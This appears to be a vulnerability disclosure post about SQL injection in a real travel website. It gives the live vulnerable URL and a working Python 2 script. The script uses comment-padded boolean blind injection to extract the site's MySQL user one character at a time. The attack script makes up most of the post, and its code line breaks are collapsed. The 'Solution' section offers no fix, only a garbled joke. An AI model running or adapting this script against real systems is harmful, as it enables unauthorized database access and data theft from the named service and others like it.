An SQL injection vulnerability in alimama travel network (with a bypass script)

An SQL injection vulnerability in alimama travel network (with a bypass script)

http://dujia.lvmama.com:80/trip/destPaginationOfTrip?currentPage=1&destId=3727,3729,3543&elite=1&categoryCode=category_route_group

 

 

import httplibimport urllibimport urllib2payloads = list('abcdefghijklmnopqrstuvwxyz.1234567890_')print 'start to retrive MySQL user:'user = ''for i in range(1,15):    for payload in payloads:        try:            conn = httplib.HTTPConnection('dujia.lvmama.com:80', timeout=5)            s = "/trip/destPaginationOfTrip?currentPage=1&destId=3727,3729,3543)/**/AND/**/if(ascii(mid(user(),%d,1))=%s,1,2)=1/**/AND/**/(7=7&elite=1&categoryCode=category_route_group" % (i, ord(payload))            conn.request(method='GET',url=s)            data3 = conn.getresponse().read()        except:            continue                   if len(data3) > 200:            user += str(payload)            print '\n[in progress]', user            break        else:            print ".",print '\nMySQL user is', user

 

 

Solution:

Please send one ......... Wrong mascot .......